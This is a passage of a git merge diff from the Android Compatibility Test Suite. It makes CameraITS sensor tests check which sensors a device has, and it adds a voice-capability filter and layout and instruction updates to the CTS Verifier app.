Merge "DO NOT MERGE Adding testTapLink_changeOrientationThenTapBack to known failures" into oreo-mr1-cts-dev
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 26af162..49bafc4 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -309,6 +309,20 @@
         if data['tag'] != 'vibrationStarted':
             raise its.error.Error('Invalid command response')
 
+    def get_sensors(self):
+        """Get all sensors on the device.
+
+        Returns:
+            A Python dictionary that returns keys and booleans for each sensor.
+        """
+        cmd = {}
+        cmd["cmdName"] = "checkSensorExistence"
+        self.sock.send(json.dumps(cmd) + "\n")
+        data,_ = self.__read_response_from_socket()
+        if data['tag'] != 'sensorExistence':
+            raise its.error.Error('Invalid command response')
+        return data['objValue']
+
     def start_sensor_events(self):
         """Start collecting sensor events on the device.
 
diff --git a/apps/CameraITS/tests/scene0/test_gyro_bias.py b/apps/CameraITS/tests/scene0/test_gyro_bias.py
index 86445fe..44be95f 100644
--- a/apps/CameraITS/tests/scene0/test_gyro_bias.py
+++ b/apps/CameraITS/tests/scene0/test_gyro_bias.py
@@ -39,7 +39,8 @@
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
         # Only run test if the appropriate caps are claimed.
-        its.caps.skip_unless(its.caps.sensor_fusion(props))
+        its.caps.skip_unless(its.caps.sensor_fusion(props) and
+            cam.get_sensors().get("gyro"))
 
         print "Collecting gyro events"
         cam.start_sensor_events()
diff --git a/apps/CameraITS/tests/scene0/test_sensor_events.py b/apps/CameraITS/tests/scene0/test_sensor_events.py
index 5973de2..d3226b3 100644
--- a/apps/CameraITS/tests/scene0/test_sensor_events.py
+++ b/apps/CameraITS/tests/scene0/test_sensor_events.py
@@ -28,14 +28,16 @@
         # Only run test if the appropriate caps are claimed.
         its.caps.skip_unless(its.caps.sensor_fusion(props))
 
+        sensors = cam.get_sensors()
         cam.start_sensor_events()
         time.sleep(1)
         events = cam.get_sensor_events()
         print "Events over 1s: %d gyro, %d accel, %d mag"%(
                 len(events["gyro"]), len(events["accel"]), len(events["mag"]))
-        assert(len(events["gyro"]) > 0)
-        assert(len(events["accel"]) > 0)
-        assert(len(events["mag"]) > 0)
+        for key, existing in sensors.iteritems():
+            if existing:
+                e_msg = 'Sensor %s has no events!' % key
+                assert len(events[key]) > 0, e_msg
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tests/scene0/test_unified_timestamps.py b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
index 95a2cc2..a496fb3 100644
--- a/apps/CameraITS/tests/scene0/test_unified_timestamps.py
+++ b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
@@ -34,33 +34,31 @@
 
         # Get the timestamps of motion events.
         print "Reading sensor measurements"
+        sensors = cam.get_sensors()
         cam.start_sensor_events()
         time.sleep(2.0)
         events = cam.get_sensor_events()
-        print "Lens of gyro %d, accel %d, mag %d"%(
-                len(events["gyro"]), len(events["accel"]), len(events["mag"]))
-        assert(len(events["gyro"]) > 0)
-        assert(len(events["accel"]) > 0)
-        assert(len(events["mag"]) > 0)
-        ts_gyro0 = events["gyro"][0]["time"]
-        ts_gyro1 = events["gyro"][-1]["time"]
-        ts_accel0 = events["accel"][0]["time"]
-        ts_accel1 = events["accel"][-1]["time"]
-        ts_mag0 = events["mag"][0]["time"]
-        ts_mag1 = events["mag"][-1]["time"]
+        ts_sensor_first = {}
+        ts_sensor_last = {}
+        for sensor, existing in sensors.iteritems():
+            if existing:
+                assert(len(events[sensor]) > 0)
+                ts_sensor_first[sensor] = events[sensor][0]["time"]
+                ts_sensor_last[sensor] = events[sensor][-1]["time"]
 
         # Get the timestamp of another image.
         cap = cam.do_capture(req, fmt)
         ts_image1 = cap['metadata']['android.sensor.timestamp']
 
         print "Image timestamps:", ts_image0, ts_image1
-        print "Gyro timestamps:", ts_gyro0, ts_gyro1
-        print "Accel timestamps:", ts_accel0, ts_accel1
-        print "Mag timestamps:", ts_mag0, ts_mag1
 
         # The motion timestamps must be between the two image timestamps.
-        assert ts_image0 < min(ts_gyro0, ts_accel0, ts_mag0) < ts_image1
-        assert ts_image0 < max(ts_gyro1, ts_accel1, ts_mag1) < ts_image1
+        for sensor, existing in sensors.iteritems():
+            if existing:
+                print "%s timestamps: %d %d" % (sensor, ts_sensor_first[sensor],
+                                                ts_sensor_last[sensor])
+                assert ts_image0 < ts_sensor_first[sensor] < ts_image1
+                assert ts_image0 < ts_sensor_last[sensor] < ts_image1
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
index f7f2003..95fc543 100644
--- a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
+++ b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
@@ -45,7 +45,7 @@
     THRES_LS_CN = 0.6    # len shading allowance for corner
     THRES_LS_HIGH = 0.2  # max allowed percentage for a patch to be brighter
                          # than center
-    THRES_UFMT = 0.1     # uniformity allowance
+    THRES_UFMT = 0.2     # uniformity allowance
     # Drawing color
     RED = (1, 0, 0)   # blocks failed the test
     GREEN = (0, 0.7, 0.3)   # blocks passed the test
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index e8a5b81..2e8f38e 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -430,7 +430,8 @@
         props = cam.get_camera_properties()
         its.caps.skip_unless(its.caps.sensor_fusion(props) and
                              its.caps.manual_sensor(props) and
-                             props["android.lens.facing"] != FACING_EXTERNAL)
+                             props["android.lens.facing"] != FACING_EXTERNAL and
+                             cam.get_sensors().get("gyro"))
 
         print "Starting sensor event collection"
         cam.start_sensor_events()
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 3d0e6e1..2f168eb 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="com.android.cts.verifier"
       android:versionCode="5"
-      android:versionName="8.1_r7">
+      android:versionName="8.1_r15">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="27"/>
 
@@ -2099,7 +2099,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_deskclock" />
             <meta-data android:name="test_excluded_features"
-                    android:value="android.hardware.type.television:android.software.leanback" />
+                    android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
 
 <!-- TODO: enable when not requiring to tap the screen and timeouts are tuned -->
@@ -2679,7 +2679,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_jobscheduler" />
             <meta-data android:name="test_excluded_features"
-                    android:value="android.hardware.type.television:android.software.leanback" />
+                    android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".jobscheduler.ConnectivityConstraintTestActivity" android:label="@string/js_connectivity_test">
@@ -3057,6 +3057,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <receiver android:name=".voicemail.VoicemailBroadcastReceiver">
@@ -3079,6 +3082,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <activity
@@ -3095,6 +3101,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <service android:name=".dialer.DialerCallTestService"
@@ -3119,6 +3128,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <activity
@@ -3135,6 +3147,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <activity
@@ -3151,6 +3166,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <activity
@@ -3167,6 +3185,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <service
@@ -3211,6 +3232,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <activity
@@ -3227,6 +3251,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
             </activity>
 
         <activity
@@ -3243,6 +3270,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <activity
@@ -3259,6 +3289,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <service android:name="com.android.cts.verifier.telecom.CtsConnectionService"
diff --git a/apps/CtsVerifier/res/layout-small-dpad/widget_layout.xml b/apps/CtsVerifier/res/layout-small-dpad/widget_layout.xml
new file mode 100644
index 0000000..518be88
--- /dev/null
+++ b/apps/CtsVerifier/res/layout-small-dpad/widget_layout.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:layout_marginTop="@dimen/widget_margin_top"
+    android:layout_marginBottom="@dimen/widget_margin_bottom"
+    android:layout_marginLeft="@dimen/widget_margin_left"
+    android:layout_marginRight="@dimen/widget_margin_right"
+    android:padding="1dp"
+    android:background="#fff">
+
+    <LinearLayout
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:paddingLeft="4dp"
+        android:paddingTop="4dp"
+        android:paddingBottom="4dp"
+        android:paddingRight="4dp"
+        android:layout_gravity="center"
+        android:background="#fff">
+
+        <TextView
+            android:id="@+id/title"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:gravity="top|left"
+            android:layout_marginBottom="8dp"
+            android:fontFamily="sans-serif"
+            android:textSize="16sp"
+            android:text="@string/widget_name"
+            android:freezesText="true"/>
+
+        <TextView
+            android:id="@+id/instruction"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_marginBottom="12dp"
+            android:fontFamily="sans-serif-light"
+            android:textSize="14sp"
+            android:freezesText="true"/>
+
+        <TextView
+            android:id="@+id/data"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_marginBottom="12dp"
+            android:layout_gravity="center_horizontal"
+            android:fontFamily="sans-serif-light"
+            android:textSize="14sp"/>
+
+        <ListView
+            android:id="@+id/list"
+            android:layout_width="match_parent"
+            android:layout_height="0dp"
+            android:layout_weight="1"
+            android:layout_marginBottom="12dp"
+            android:padding="1dp"
+            android:background="#fff"
+            android:visibility="gone"/>
+
+        <LinearLayout
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_gravity="bottom|center_horizontal"
+            android:orientation="horizontal">
+            <Button
+                android:id="@+id/fail"
+                android:layout_marginRight="8dp"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:minWidth="100dp"
+                android:text="@string/widget_fail" />
+            <Button
+                android:id="@+id/pass"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:minWidth="100dp"
+                android:text="@string/widget_pass" />
+        </LinearLayout>
+
+    </LinearLayout>
+</FrameLayout>
diff --git a/apps/CtsVerifier/res/layout/intent_driven_test.xml b/apps/CtsVerifier/res/layout/intent_driven_test.xml
index 794a6d6..4386392 100644
--- a/apps/CtsVerifier/res/layout/intent_driven_test.xml
+++ b/apps/CtsVerifier/res/layout/intent_driven_test.xml
@@ -9,7 +9,7 @@
     <ScrollView
         android:layout_width="match_parent"
         android:layout_height="0dp"
-        android:layout_weight="1">
+        android:layout_weight="3">
         <TextView android:id="@+id/info"
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
@@ -18,15 +18,16 @@
             android:text="@string/dc_start_alarm_test_info"/>
     </ScrollView>
 
-    <LinearLayout android:id="@+id/buttons"
-        android:orientation="horizontal"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"/>
-
-    <LinearLayout
+    <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="wrap_content">
+        android:layout_height="0dp"
+        android:layout_weight="2">
 
-        <include layout="@layout/pass_fail_buttons"/>
-    </LinearLayout>
+        <LinearLayout
+            android:id="@+id/buttons"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:orientation="vertical"/>
+    </ScrollView>
+    <include layout="@layout/pass_fail_buttons"/>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/provisioning_byod.xml b/apps/CtsVerifier/res/layout/provisioning_byod.xml
index 227d8d8..444bead 100644
--- a/apps/CtsVerifier/res/layout/provisioning_byod.xml
+++ b/apps/CtsVerifier/res/layout/provisioning_byod.xml
@@ -15,7 +15,7 @@
     android:orientation="vertical">
     <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="wrap_content"
+        android:layout_height="0dp"
         android:layout_weight="2">
         <TextView
             android:id="@+id/test_instructions"
@@ -26,12 +26,12 @@
     </ScrollView>
     <Button
         android:id="@+id/prepare_test_button"
-        android:layout_width="204dip"
+        android:layout_width="wrap_content"
         android:layout_height="wrap_content"/>
     <ListView
         android:id="@+id/android:list"
         android:layout_width="match_parent"
-        android:layout_height="wrap_content"
+        android:layout_height="0dp"
         android:layout_weight="3"/>
     <include layout="@layout/pass_fail_buttons"/>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/voicemail_broadcast.xml b/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
index 163da23..0cf1d39 100644
--- a/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
@@ -58,6 +58,12 @@
       android:layout_height="wrap_content"
       android:text="@string/voicemail_set_default_dialer_button"/>
 
+    <Button
+      android:id="@+id/call_settings_check_not_applicable"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/visual_voicemail_service_remove_sim_not_applicable"/>
+
     <LinearLayout
       android:layout_width="wrap_content"
       android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml b/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
index 4d7803b..cf1cc7c 100644
--- a/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
@@ -68,23 +68,25 @@
         android:layout_height="wrap_content"
         android:text="@string/open_call_settings"/>
 
-    <LinearLayout
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_marginTop="@dimen/js_padding"
-        android:layout_marginBottom="@dimen/js_padding">
-        <Button
-            android:id="@+id/settings_hidden"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:text="@string/voicemail_hidden"/>
-        <Button
-            android:id="@+id/settings_not_hidden"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:text="@string/voicemail_not_hidden"
-        />
-    </LinearLayout>
+      <LinearLayout
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:layout_marginTop="@dimen/js_padding"
+          android:layout_marginBottom="@dimen/js_padding"
+          android:orientation="vertical">
+
+          <Button
+              android:id="@+id/settings_hidden"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:text="@string/voicemail_hidden"/>
+
+          <Button
+              android:id="@+id/settings_not_hidden"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:text="@string/voicemail_not_hidden"/>
+      </LinearLayout>
 
     <LinearLayout
         android:layout_width="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml b/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
index 9ccd909..47cd2f6 100644
--- a/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
@@ -45,23 +45,25 @@
       android:layout_height="wrap_content"
       android:text="@string/open_voicemail_settings"/>
 
-    <LinearLayout
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_marginTop="@dimen/js_padding"
-        android:layout_marginBottom="@dimen/js_padding">
-        <Button
-            android:id="@+id/settings_hidden"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:text="@string/ringtone_hidden"/>
-        <Button
-            android:id="@+id/settings_not_hidden"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:text="@string/ringtone_not_hidden"
-        />
-    </LinearLayout>
+      <LinearLayout
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:layout_marginTop="@dimen/js_padding"
+          android:layout_marginBottom="@dimen/js_padding"
+          android:orientation="vertical">
+
+          <Button
+              android:id="@+id/settings_hidden"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:text="@string/ringtone_hidden"/>
+
+          <Button
+              android:id="@+id/settings_not_hidden"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:text="@string/ringtone_not_hidden"/>
+      </LinearLayout>
 
     <LinearLayout
         android:layout_width="wrap_content"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 48e03b9..b210d33 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1769,6 +1769,7 @@
         2. Click on the play button.\n
         3. Verify that the captured audio is played.\n
         4. Click on the close button.\n
+        If this device does not support audio recording, please skip this test and mark it passing.\n
     </string>
     <string name="provisioning_byod_dismiss_result_dialog">Close</string>
     <string name="provisioning_byod_play">Play</string>
@@ -1896,7 +1897,8 @@
         This test verifies that if a work profile is locked with a separate password, Recents views
         for applications in the work profile are redacted.\n
         Some devices may not lock as soon as the screen is turned off by default. On such devices,
-        use the button below when requested to lock the work profile.
+        use the button below when requested to lock the work profile. Please skip these tests if
+        "Recents" is absent.
     </string>
     <string name="provisioning_byod_recents_lock_now">Lock now</string>
 
@@ -2055,9 +2057,9 @@
     <string name="device_admin_notification">This is device admin notification</string>
     <string name="device_admin_keyguard_disable_camera">Disable camera</string>
     <string name="device_admin_keyguard_disable_camera_instruction">
-        Please press the Go button to lock the screen. Then try to open the camera
-        from the lower right corner of the screen. Expected result is you cannot
-        open the camera from lock screen and it will ask for password instead.\n
+        Please press the Go button to lock the screen. Expected result is you cannot
+        see the camera icon on the lower right corner of the screen, or if there is one, you cannot
+        open the camera using it before you are asked for a password.\n
         Also, it shouldn\'t be possible to open the camera on the lockscreen by
         any other device specific gesture (such as double press on power button).
     </string>
@@ -2365,6 +2367,7 @@
         \n
         Navigate to \"Data usage\" page and then into the \"Wi-Fi data usage\" category.\n
         Confirm that \"All work apps\" section is present and that it is possible to see the data usage for work (badged) apps.\n
+        (If the section is not present, this might be because work apps have not used Wi-Fi data yet. Ensure that you have used Wi-Fi data on a work app, then repeat these instructions.)\n
         \n
         Then use the Back button (or navigate back to this app using Recents) to return to this test and mark accordingly.
     </string>
@@ -2565,7 +2568,9 @@
         Please do the following:\n
         1) Open and fully expand Quick Settings.\n
         2) Verify that at the bottom of Quick Settings, you are not told the device is managed.\n
-        3) Close Quick Settings.
+        3) Close Quick Settings.\n
+        \n
+        If this device does not have quick settings, please skip this test and mark it passing
     </string>
     <string name="enterprise_privacy_keyguard_negative">Keyguard disclosure</string>
     <string name="enterprise_privacy_keyguard_negative_info">
@@ -2977,7 +2982,10 @@
     <string name="disallow_config_mobile_networks">Disallow config mobile networks</string>
     <string name="disallow_config_mobile_networks_action">Configuring mobile networks</string>
     <string name="disallow_config_tethering">Disallow config tethering</string>
-    <string name="disallow_config_tethering_action">Configuring tethering and portable hotspots</string>
+    <string name="disallow_config_tethering_action">
+        Configuring tethering and portable hotspots.\n
+        NOTE: If the device does not support tethering please skip this test and mark it as passing.\n
+    </string>
     <string name="disallow_config_wifi">Disallow config Wi-Fi</string>
     <string name="disallow_config_wifi_action">Modifying Wi-Fi configuration</string>
     <string name="disallow_debugging_features">Disallow debugging features</string>
@@ -3303,7 +3311,7 @@
         10) Tap the \"Learn more\" link.\n
         11) Verify that a screen informing you what your managing organization can do is shown.\n
         \n
-        Use the Back button to return to this page.
+        Use the Back button to return to this page. If this device does not have quick settings, please skip this test and mark it passing.
     </string>
     <string name="enterprise_privacy_keyguard">Keyguard disclosure</string>
     <string name="enterprise_privacy_keyguard_info">
@@ -3351,6 +3359,8 @@
         9) Close the dialog.\n
         10) Tap the right button below to disable network logging.\n
         11) Verify that the notification disappeared.\n
+        \n
+        If this device does not have quick settings, please skip this test and mark it passing.
     </string>
     <string name="device_owner_enable_network_logging_button">Enable Network Logging</string>
     <string name="device_owner_disable_network_logging_button">Disable Network Logging</string>
@@ -3668,6 +3678,10 @@
     <string name="uapButtonsBtnDLbl">Button D - voice assist</string>
     <string name="uapButtonsRecognized">Recognized</string>
     <string name="uapButtonsNotRecognized">Not Recognized</string>
+    <string name="uapButtonsDisableAssistantTitle">Disable Google Assistant</string>
+    <string name="uapButtonsDisableAssistant">For this test to succeed it may be necessary
+        to disable the Google Assistant (Settings / Google / Search / Google Assistant Settings /
+        Devices / &lt;device name&gt; / Google Assistant)</string>
 
     <!-- Audio general text -->
     <string name="audio_general_headset_port_exists">Does this device have a headset port?</string>
@@ -4041,14 +4055,14 @@
     <!-- USB Audio Peripheral Play Test -->
     <string name="usbaudio_play_test"> USB Audio Peripheral Play Test</string>
     <string name="usbaudio_play_info">
-        This test requires that you have connected a mandated USB Audio Interface peripheral and
+        This test requires that you have connected a USB Audio Interface peripheral and
         some way to monitor the output. Press the \"Play\" button and verify that a tone is produced.
        </string>
 
     <!-- USB Audio Peripheral Record Test -->
     <string name="usbaudio_record_test"> USB Audio Peripheral Record Test</string>
     <string name="usbaudio_record_info">
-        This test requires that you have connected a mandated USB Audio Interface peripheral.
+        This test requires that you have connected a USB Audio Interface peripheral.
         Connect the outputs to the inputs (with patch cables). Start playback by pressing the
         \"Record Loopback\" button and verify that the recorded signal is displayed in the wave
         display view. (It may be necessary to adjust the input controls on the peripheral).
@@ -4057,9 +4071,11 @@
     <!-- USB Audio Peripheral Buttons Test -->
     <string name="usbaudio_buttons_test"> USB Audio Peripheral Buttons Test</string>
     <string name="usbaudio_buttons_info">
-        This test requires that you have connected a mandated USB Audio headset. Press each
-        \"transport\" button and verify that it is recognized by the test.
-       </string>
+        This test requires that you have connected a USB Audio headset that supports the
+        Android USB audio headset buttons specification. Press each
+        \"transport\" button and verify that it is recognized by the test. When each of the
+        buttons has been recognized the \"pass\" button will be enabled.
+    </string>
 
     <!-- Telecom tests -->
     <string name="telecom_enable_phone_account_test"> Telecom Enable Phone Account Test</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index 44e2e0f..a339a43 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -22,6 +22,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.os.Bundle;
+import android.telephony.TelephonyManager;
 import android.util.Log;
 import android.widget.ListView;
 
@@ -99,6 +100,10 @@
 
     private static final String TEST_APPLICABLE_FEATURES_META_DATA = "test_applicable_features";
 
+    private static final String TEST_REQUIRED_CONFIG_META_DATA = "test_required_configs";
+
+    private static final String CONFIG_VOICE_CAPABLE = "config_voice_capable";
+
     private final HashSet<String> mDisabledTests;
 
     private Context mContext;
@@ -188,10 +193,11 @@
             String testName = info.activityInfo.name;
             Intent intent = getActivityIntent(info.activityInfo);
             String[] requiredFeatures = getRequiredFeatures(info.activityInfo.metaData);
+            String[] requiredConfigs = getRequiredConfigs(info.activityInfo.metaData);
             String[] excludedFeatures = getExcludedFeatures(info.activityInfo.metaData);
             String[] applicableFeatures = getApplicableFeatures(info.activityInfo.metaData);
             TestListItem item = TestListItem.newTest(title, testName, intent, requiredFeatures,
-                    excludedFeatures, applicableFeatures);
+                     requiredConfigs, excludedFeatures, applicableFeatures);
 
             String testCategory = getTestCategory(mContext, info.activityInfo.metaData);
             addTestToCategory(testsByCategory, testCategory, item);
@@ -229,6 +235,19 @@
         }
     }
 
+    static String[] getRequiredConfigs(Bundle metaData) {
+        if (metaData == null) {
+            return null;
+        } else {
+            String value = metaData.getString(TEST_REQUIRED_CONFIG_META_DATA);
+            if (value == null) {
+                return null;
+            } else {
+                return value.split(":");
+            }
+        }
+    }
+
     static String[] getExcludedFeatures(Bundle metaData) {
         if (metaData == null) {
             return null;
@@ -305,10 +324,29 @@
         return true;
     }
 
+    private boolean matchAllConfigs(String[] configs) {
+        if (configs != null) {
+            TelephonyManager telephonyManager =
+                    (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+            for (String config : configs) {
+                switch(config) {
+                    case CONFIG_VOICE_CAPABLE:
+                        if (!telephonyManager.isVoiceCapable()) {
+                            return false;
+                        }
+                    default:
+                        break;
+                }
+            }
+        }
+        return true;
+    }
+
     List<TestListItem> filterTests(List<TestListItem> tests) {
         List<TestListItem> filteredTests = new ArrayList<TestListItem>();
         for (TestListItem test : tests) {
-            if (!hasAnyFeature(test.excludedFeatures) && hasAllFeatures(test.requiredFeatures)) {
+            if (!hasAnyFeature(test.excludedFeatures) && hasAllFeatures(test.requiredFeatures)
+                    && matchAllConfigs(test.requiredConfigs)) {
                 if (test.applicableFeatures == null || hasAnyFeature(test.applicableFeatures)) {
                     filteredTests.add(test);
                 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index 642b951..d9ea84f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -91,6 +91,9 @@
         /** Features necessary to run this test. */
         final String[] requiredFeatures;
 
+        /** Configs necessary to run this test. */
+        final String[] requiredConfigs;
+
         /** Features such that, if any present, the test gets excluded from being shown. */
         final String[] excludedFeatures;
 
@@ -117,20 +120,27 @@
         }
 
         public static TestListItem newTest(String title, String testName, Intent intent,
+                String[] requiredFeatures, String[] requiredConfigs, String[] excludedFeatures,
+                String[] applicableFeatures) {
+            return new TestListItem(title, testName, intent, requiredFeatures, requiredConfigs,
+                    excludedFeatures, applicableFeatures);
+        }
+
+        public static TestListItem newTest(String title, String testName, Intent intent,
                 String[] requiredFeatures, String[] excludedFeatures, String[] applicableFeatures) {
-            return new TestListItem(title, testName, intent, requiredFeatures, excludedFeatures,
+            return new TestListItem(title, testName, intent, requiredFeatures, null, excludedFeatures,
                     applicableFeatures);
         }
 
         public static TestListItem newTest(String title, String testName, Intent intent,
                 String[] requiredFeatures, String[] excludedFeatures) {
-            return new TestListItem(title, testName, intent, requiredFeatures, excludedFeatures,
+            return new TestListItem(title, testName, intent, requiredFeatures, null, excludedFeatures,
                     null);
         }
 
         public static TestListItem newTest(String title, String testName, Intent intent,
                 String[] requiredFeatures) {
-            return new TestListItem(title, testName, intent, requiredFeatures, null, null);
+            return new TestListItem(title, testName, intent, requiredFeatures, null, null, null);
         }
 
         public static TestListItem newCategory(Context context, int titleResId) {
@@ -138,15 +148,22 @@
         }
 
         public static TestListItem newCategory(String title) {
-            return new TestListItem(title, null, null, null, null, null);
+            return new TestListItem(title, null, null, null, null, null, null);
         }
 
         protected TestListItem(String title, String testName, Intent intent,
                 String[] requiredFeatures, String[] excludedFeatures, String[] applicableFeatures) {
+            this(title, testName, intent, requiredFeatures, null, excludedFeatures, applicableFeatures);
+        }
+
+        protected TestListItem(String title, String testName, Intent intent,
+                String[] requiredFeatures, String[] requiredConfigs, String[] excludedFeatures,
+                String[] applicableFeatures) {
             this.title = title;
             this.testName = testName;
             this.intent = intent;
             this.requiredFeatures = requiredFeatures;
+            this.requiredConfigs = requiredConfigs;
             this.excludedFeatures = excludedFeatures;
